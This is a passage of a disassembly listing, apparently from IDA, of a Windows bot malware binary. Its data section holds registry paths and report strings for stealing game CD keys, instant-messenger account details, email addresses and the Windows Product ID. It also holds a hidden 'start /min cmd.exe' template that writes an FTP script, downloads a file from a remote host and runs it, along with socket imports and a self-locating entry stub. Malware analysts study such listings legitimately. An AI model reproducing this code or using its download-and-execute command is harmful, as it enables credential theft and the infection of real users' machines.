Strike: ',0 align 8 aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h dd 2 dup(0) aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 8 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aHalfLife db '[Half-Life: ',0 align 10h aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h dd 2 dup(0) aGunmanChronicl db '[Gunman Chronicles: ',0 align 10h dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h dd 2 dup(0) aGlobalOperatio db '[Global Operations: ',0 align 10h dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 10h aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3230h, 0 dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h dd 73h, 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 10h dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 8 aSerial db 'Serial',0 align 10h aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 10h dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 10h dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 align 10h aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 8 aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 10h dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 align 10h aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 dd 3 dup(0) aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h dd 2 dup(0) aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 4 dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 align 10h aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447788o align 8 aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 8 aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 10h dd 0 dword_4488F4 dd 3A6D6961h, 732520h, 0dword_448900 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 10h dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 10h aSMainS db '%s\main\%s',0 align 10h aCodkey db 'codkey',0 align 4 aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 10h aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 4 dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 10h dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A34 dd 3A6E736Dh, 732520h, 0dword_448A40 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 10h aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 8 aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 10h aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 10h aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B6C: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B77: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B83: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B8F: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448BA0: ; CODE XREF: ___:00448BA5j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448BA0 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ah dup(0) off_448C90 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F30 db 0 ; DATA XREF: sub_403530+95o ; sub_404690+200o ... align 4 dword_448F34 dd 0 ; sub_4246D0+11o ... dword_448F38 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ... align 10h dword_448F40 dd 0 ; ___:0040D425w ... dd 8 dup(0) dword_448F64 dd 41h dup(0) ; ___:0040D460o ... dword_449068 dd 0 ; ___:loc_40D4B4r ... dword_44906C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ... dword_449070 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw dword_449074 dd 0 ; sub_40D660+E3r dd 11h dup(0) dword_4490BC dd 0 ; sub_410030+47Dr dword_4490C0 dd 0 ; sub_410030+515r ... dword_4490C4 dd 0 ; sub_410030+655r ... dword_4490C8 dd 0 ; sub_410030+B79r ... dword_4490CC dd 0 ; sub_410030+74Br dword_4490D0 dd 0 ; sub_410030+828r dword_4490D4 dd 0 ; sub_410030+77Cr dword_4490D8 dd 0 ; sub_410030+4DDr ... dword_4490DC dd 0 ; sub_410030+311r dword_4490E0 dd 0 ; sub_410030+34Dr ... dword_4490E4 dd 0 ; sub_410030+33Dr dword_4490E8 dd 0 ; sub_410030+3D2r dword_4490EC dd 0 ; sub_410030+E93r dword_4490F0 dd 0 ; sub_410030+1220r ... dword_4490F4 dd 0 ; sub_4120B0+4DAr dword_4490F8 dd 0 ; sub_410030+683r dword_4490FC dd 0 ; sub_410030+6B5r dword_449100 dd 0 ; sub_410030+1252r dd 5 dup(0) dword_449118 dd 10h dup(0) ; ___:004040AFo ... db 2 dup(0) byte_44915A db 0 ; DATA XREF: sub_409B10r sub_409B80r align 4 db 3 dup(0) byte_44915F db 0 ; DATA XREF: sub_40D660+10Fr db 0 byte_449161 db 0 ; DATA XREF: sub_40DBF0r word_449162 dw 0 ; DATA XREF: sub_40DBF0+9o dd 44h dup(0) db 3 dup(0) byte_449277 db 0 ; DATA XREF: ___:00412F9Ao ; ___:0041304Fo ... db 3 dup(0) byte_44927B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr align 10h dword_449280 dd 12h dup(0) ; sub_410030+114o db 0 byte_4492C9 db 3 dup(0) ; DATA XREF: ___:00408BA7o ; sub_410030+159o ... dd 11h dup(0) db 2 dup(0) word_449312 dw 0 ; DATA XREF: ___:00408B7Eo ; sub_410030+132o dd 6 dup(0) word_44932C dw 0 ; DATA XREF: sub_410030+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44935B db 0 ; DATA XREF: ___:00408BD0o ; sub_410030+17Co ... dd 12h dup(0) dword_4493A4 dd 12h dup(0) ; sub_410030+F7o ... db 0 byte_4493ED db 3 dup(0) ; DATA XREF: ___:00408B09o ; sub_410030+D0o ... dd 23h dup(0) db 3 dup(0) byte_44947F db 0 ; DATA XREF: ___:00408BF9o ; sub_410030+19Ao dd 24h dup(0) db 0 byte_449511 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44955A dw 0 ; DATA XREF: ___:00412F6Ao ; ___:00412F89o ... dd 3Ch dup(0) db 3 dup(0) dword_44964F dd 0 ; sub_41F030+154r ... align 4 dd 35h dup(0) db 0 byte_449729 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449804 db 0 ; DATA XREF: sub_410030+842r align 4 dd 0Bh dup(0) dword_449834 dd 18h dup(0) ; sub_40EE40+97o ... db 2 dup(0) byte_449896 db 0 ; DATA XREF: sub_404CC0+258r ; sub_41D930+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498DF db 0 ; DATA XREF: sub_404CC0:loc_404F30r ; sub_41D930:loc_41DFB6r dd 0Bh dup(0) db 3 dup(0) byte_44990F db 0 ; DATA XREF: sub_404CC0+279o ; sub_41D930+68Fo ... dd 12h dup(0) dword_449958 dd 2Bh dup(0) ; sub_41F030+630o ... dword_449A04 dd 0 dd 11h dup(0) db 0 dword_449A4D dd 0 align 4 dd 0D9h dup(0) byte_449DB8 db 0 ; DATA XREF: sub_41F030+146r ; sub_41F030+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC5E dw 0 ; DATA XREF: sub_404690+1BDo ; sub_404B60+31o ... db 2 dup(0) word_44AC62 dw 0 ; DATA XREF: sub_404B60+4o dd 1Ch dup(0) db 2 dup(0) word_44ACD6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD70 dd 86h dup(0) ; sub_404CC0+27Eo ... db 3 dup(0) byte_44AF8B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B18B dd 0 ; sub_4269A0+4Fw ... dword_44B18F dd 0 ; ___:0042419Dw ... dword_44B193 dd 0 ; sub_4269A0+5Dr ... dword_44B197 dd 0 ; sub_4269A0+8Cr ... dword_44B19B dd 0 ; sub_4269A0+9Dr dword_44B19F dd 0 ; ___:004241D1r ... byte_44B1A3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dd 2828h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446EFCo dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 53D8h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_445314o dd 0ECEh dup(0) db 3 dup(0) dword_4D7F8B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8075 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo ; sub_404CC0+65o ... dd 5 dup(0) byte_4D808C db 0 ; DATA XREF: sub_404CC0+292w ; sub_404CC0+4EBw dword_4D808D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D8099 dd 0 ; sub_404C70+2Aw byte_4D809D db 3 dup(0) ; DATA XREF: ___:00412FC4o ; ___:00412FE7o dd 9 dup(0) db 3 dup(0) dword_4D80C7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D818B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D818F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D834F db 0 ; DATA XREF: ___:00408295o ; ___:00408726o ... dd 8 dup(0) dword_4D8370 dd 0 dd 51h dup(0) db 0 byte_4D84B9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8735 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02A5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E7D8F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E15 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86EF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E44 db 0 ; DATA XREF: sub_404CC0+299w ; sub_410030:loc_410072r ... byte_4E8E45 db 3 dup(0) ; DATA XREF: sub_404CC0+235o ; sub_404CC0+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E5A dw 0 ; DATA XREF: sub_404CC0+2D4o ; ___:0040873Ao ... dd 0Fh dup(0) db 0 byte_4E8E99 db 0 ; DATA XREF: sub_41F960+31w ; sub_41F960+47w ... db 0 byte_4E8E9B db 0 ; DATA XREF: sub_418590+21o ; sub_41D930+341o ... dd 0EE2h dup(0) dword_4ECA24 dd 20FBh dup(0) dword_4F4E10 dd 3D51h dup(0) dword_504354 dd 12B6h dup(0) dword_508E2C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE2C dd 333h dup(0) ; ___:00419BB8o ... dword_50DAF8 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB08 dd 0 ; ___:0041FC3Dw ... dword_50DB0C dd 0 ; sub_41FB90+2Aw ... dword_50DB10 dd 0 dword_50DB14 dd 0 ; ___:0041FC5Bw dword_50DB18 dd 0 dword_50DB1C dd 0 ; ___:0041FC67w ... dword_50DB20 dd 0 ; ___:0041FC6Dw ... dword_50DB24 dd 0 ; ___:00420EA9o dword_50DB28 dd 0 ; sub_41FB90:loc_41FBB4r ... dword_50DB2C dd 0 ; ___:0041FC81w dword_50DB30 dd 0 ; sub_420630+41w ... dword_50DB34 dd 0 ; sub_420630+7Fr dword_50DB38 dd 0 ; sub_420630+92r ... dword_50DB3C dd 0 ; sub_420630+148r dd 3 dup(0) dword_50DB4C dd 0 ; ___:0041C2A5o dword_50DB50 dd 0 ; sub_423820+5r ... dword_50DB54 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FA90 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAA8 dd 196h dup(0) ; sub_423760+6Do dword_510100 dd 0 word_510104 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510108 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51010C dd 0 dd 0 byte_510114 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510118 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r dword_51011C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r dword_510120 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ... align 8 dword_510128 dd 80h dup(0) ; sub_427D50+129o dword_510328 dd 0 dword_51032C dd 0 dd 1Dh dup(0) dword_5103A4 dd 0 ; ___:0042C40Dr ... dword_5103A8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103AC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103B0 dd 0 dword_5103B4 dd 0 ; sub_431560r ... dword_5103B8 dd 0 dword_5103BC dd 0 ; sub_4309A0+111w ... dword_5103C0 dd 0 ; sub_4309A0+F6r ... dword_5103C4 dd 0 ; ___:loc_4316A0r dword_5103C8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dd 13Ah dup(0) dword_5108C0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510900 dd 8 dup(0) ; sub_430830+25o ... dword_510920 dd 8 dup(0) ; sub_431980+25o ... dword_510940 dd 8 dup(0) ; sub_432850+84o ... dword_510960 dd 8 dup(0) ; sub_432850+8Bo ... dword_510980 dd 9 dup(0) ; sub_4309A0:loc_430AB7o ... dd 0FFFFFFFFh, 3 dup(0) dd 0FFFFFFFFh, 192h dup(0) dd 5 dup(7BEC9A8Ah), 5 dup(1451FF68h), 5 dup(49F7A5D4h) dd 5 dup(2543E9DCh), 5 dup(56ACA8E5h), 5 dup(6659468Eh) dd 5 dup(67D9BD9Eh), 5 dup(472EA8FBh), 5 dup(2BAA0349h) dd 5 dup(4335B3C7h), 5 dup(6D755876h), 1Eh dup(0) dd 6659468Eh, 10h dup(0) aVxum db 'vXum',0 align 10h dd 58h dup(0) dd 2543E9DCh, 1Ch dup(0) dd 2BAA0349h, 14h dup(0) dd 1451FF68h, 52h dup(0) dd 7BEC9A8Ah, 1Bh dup(0) dd 4335B3C7h, 0Bh dup(0) dd 67D9BD9Eh, 0Ch dup(0) dd 56ACA8E5h, 2Bh dup(0) dd 472EA8FBh, 11h dup(0) dd 49F7A5D4h, 0Ah dup(0) dd 28C0B27h, 28D0000h, 28E0000h dword_511718 dd 28E1563h dd 28E17BDh dword_511720 dd 28E1997h dd 28E1D28h, 28F0000h dword_51172C dd 2900000h dd 2910000h, 29103D6h, 2910790h, 2910BA8h dword_511740 dd 2920000h ; sub_40E870+25Ar ... dword_511744 dd 29204F9h dword_511748 dd 2920815h dd 2920993h, 2920CE6h dword_511754 dd 2930000h ; sub_40EE40+15Er ... dd 29302C6h dword_51175C dd 2940000h ; sub_40E870+22Cr dd 2940DFCh dword_511764 dd 2950000h ; sub_4208E0+285r ... dd 2960000h dword_51176C dd 2961101h ; sub_40E870+24Cr dd 10h dup(0) dd 76F36C5Bh, 0Bh dup(0) dword_5117E0 dd 2720000h ; sub_420630+FEr dd 2730000h, 2740000h, 2740730h, 27408C6h, 2740C49h, 2740E31h dd 2750000h, 27507C8h, 2750B0Eh, 2760000h, 27601DAh, 2760844h dd 2760884h, 2760C14h, 2770000h, 277035Ch, 2770760h, 277090Bh dd 2770C9Ah, 2780000h, 27805BDh, 278065Eh, 27809B8h, 2780B37h dd 2790000h, 27902E2h, 27904E2h, 2790664h, 2790766h, 279092Ah dd 27909D3h, 27A0000h dword_511864 dd 27A0721h dword_511868 dd 27A0DFAh dword_51186C dd 27B0000h dd 7C901005h, 7C9010EDh, 27B0284h, 27B02DCh, 27B02F0h dd 27B043Dh, 27C0000h, 27C03F4h, 27C07F6h, 27D0000h, 27E0000h dd 27E098Ch, 27F0000h, 2800000h, 2800886h dword_5118AC dd 2800BE7h ; sub_410030+47r ... dd 2800C66h, 2810000h, 28104BCh, 2820000h, 282110Eh, 2830000h dd 2840000h dword_5118CC dd 2841750h dd 2841939h, 2850000h dword_5118D8 dd 28502B8h ; sub_41B5B0+2Fr ... dd 2850405h dword_5118E0 dd 2860000h ; sub_4204D0+2Er ... dd 286041Fh, 2870000h, 2870B6Fh dword_5118F0 dd 2880000h dd 2880291h, 2890000h, 28A0000h, 28A1106h, 28A1D26h, 28B0000h dd 28B05C0h, 28B0A53h, 28B0B30h dword_511918 dd 28C0000h ; sub_420630:loc_42067Cr ... dd 1Ah dup(0) dd 71B2578Ch, 71B2517Fh, 71B25099h, 0Bh dup(0) dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh dword_5119E0 dd 760AC190h dd 0Dh dup(0) ; --------------------------------------------------------------------------- xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- ja short loc_511A99 push ebx retn ; --------------------------------------------------------------------------- db 77h db 0DBh ; Û db 0F1h ; ñ db 0C1h ; Á db 77h ; w ; --------------------------------------------------------------------------- loc_511A24: ; CODE XREF: ___:00511A34j movsb icebp sal dword ptr [edi-28h], 23h mov byte ptr [edi+75h], 0D6h les esi, [edi+67h] popf retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- jmp short loc_511A24 ; --------------------------------------------------------------------------- sal dword ptr [edi-54h], 17h mov byte ptr [edi-52h], 2Dh retn ; --------------------------------------------------------------------------- db 77h dd 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h, 77C40BB1h dd 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h, 77C3A3DBh dd 77C4186Ah dword_511A6C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_42E5B0+53r ... dword_511A70 dd 77C1F2BCh ; resolved to->MSVCRT._errno dd 77C371FAh, 77C36DF2h dword_511A7C dd 77C5F97Ch ; resolved to->MSVCRT.__mb_cur_max dd 77C4EE2Fh, 77C227FAh, 77C2C0C3h dword_511A8C dd 77C40E13h ; resolved to->MSVCRT.fprintfdword_511A90 dd 77C5FC80h ; resolved to->MSVCRT._iob ; sub_42DE00+4Ar ... ; --------------------------------------------------------------------------- imul dh retn ; --------------------------------------------------------------------------- db 77h db 72h ; --------------------------------------------------------------------------- loc_511A99: ; CODE XREF: ___:00511A1Bj sbb eax, esp ; --------------------------------------------------------------------------- db 77h dword_511A9C dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_511AA0 dd 77C4173Bh ; resolved to->MSVCRT.fwritedword_511AA4 dd 77C4139Ch ; resolved to->MSVCRT.fseekdword_511AA8 dd 77C4624Eh ; resolved to->MSVCRT._stricmpdword_511AAC dd 77C41574h ; resolved to->MSVCRT.ftelldword_511AB0 dd 77C411FBh ; resolved to->MSVCRT.fread dd 77C40E76h dword_511AB8 dd 77C47E61h ; resolved to->MSVCRT.wcscat ; ___:0041C3DAr ; --------------------------------------------------------------------------- adc al, dh retn ; --------------------------------------------------------------------------- db 77h dd 77C40AB1h, 77C4FA10h dword_511AC8 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_41BA50+17Er ... dd 77C371BCh dword_511AD0 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_42F2C0+34r ... dd 77C2C407h dword_511AD8 dd 77C47920h ; resolved to->MSVCRT.strncat dd 77C39E7Eh dword_511AE0 dd 77C47A50h ; resolved to->MSVCRT.strncmp ; sub_42DE00+90r dword_511AE4 dd 77C3FA76h ; resolved to->MSVCRT._snprintf ; sub_426070+C8r ... db 90h db 0CFh, 0C1h, 77h dword_511AEC dd 77C47660h ; resolved to->MSVCRT.strchr db 8Ah, 0FFh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- mul byte ptr [esi] retn 0E777h ; --------------------------------------------------------------------------- db 14h, 0C2h, 77h dd 77C29CC5h dword_511B00 dd 77C47CE5h ; resolved to->MSVCRT.strtok ; sub_41BD90+5Dr dword_511B04 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_410030+1126r ... dword_511B08 dd 77C47A90h ; resolved to->MSVCRT.strncpy ; ___:00419CDAr dd 77C29CDDh, 77C293C7h dword_511B14 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_422B40+203r ... dd 77C35F0Dh dword_511B1C dd 77C5F988h ; resolved to->MSVCRT._pctype dd 77C46170h, 77C1C561h, 77C46125h dd 77C46320h dd 19h dup(0) dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh dup(0) dd 7CA41110h, 0Bh dup(0) dd 28C0795h off_511C00 dd offset sub_5FADE9 ; DATA XREF: ___:00419FBDr ; sub_41A050+2Dr ... dd 0Bh dup(0) dd 71AB951Eh, 71AB3E00h dword_511C38 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_425100:loc_4251B2r ... dword_511C3C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_42B8E0:loc_42B99Br dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h dword_511C50 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError dd 71AB4544h, 71AC0B50h dword_511C5C dd 71AB2B66h ; resolved to->WS2_32.ntohs dd 71AB2BC0h dword_511C64 dd 71AB2D0Fh ; resolved to->WS2_32.recvfromdword_511C68 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_42B8E0+F9r dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh dd 71AB2A5Eh, 71AB4FD4h dword_511C88 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa dd 71AB88D3h, 71AB2BC0h dword_511C94 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_41A7D0+48r ... dword_511C98 dd 71AC1028h ; resolved to->WS2_32.acceptdword_511C9C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_41F960+198r ... dword_511CA0 dd 71AB428Ah ; resolved to->WS2_32.send ; ___:004217E1r ... dword_511CA4 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4253C0+8Br ... dd 71AB2BF4h dword_511CAC dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_42C830+E8r dd 71ABE479h, 11h dup(0) dd 76D6AC1Dh, 4C1h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 114050h, 114000h, 3 dup(0) dd 114079h, 11400Ch, 5 dup(0) aKernel32_dll_1 db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 0011E000 (1171456.) ; Section size in file : 0011E000 (1171456.) ; Offset to raw data for section: 00115000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute sdfs____ segment para public 'CODE' use32 assume cs:sdfs____ ;org 515000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 0D970FBCFh, 40D66h, 5F820h, 15A172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 00515265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00583DBA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00587353 SIZE 00000062 BYTES ; FUNCTION CHUNK AT 005875C9 SIZE 000000E9 BYTES ; FUNCTION CHUNK AT 005876E8 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00587723 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00587738 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058775B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00587764 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00587783 SIZE 00000017 BYTES mov eax, 0 pusha or eax, eax jz short loc_515086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_515041 popa jmp short loc_515076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h dd 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh ; --------------------------------------------------------------------------- inc eax loc_515041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_51504E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_51506D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_515074 loc_51506D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_51504E ; --------------------------------------------------------------------------- loc_515074: ; CODE XREF: start+57j mov edi, eax loc_515076: ; CODE XREF: start+1Bj jmp loc_515265 ; --------------------------------------------------------------------------- add eax, edi mov ecx, 11526Ah add ecx, edi jmp short loc_515090 ; --------------------------------------------------------------------------- loc_515086: ; CODE XREF: start+8j mov eax, offset loc_583DBA 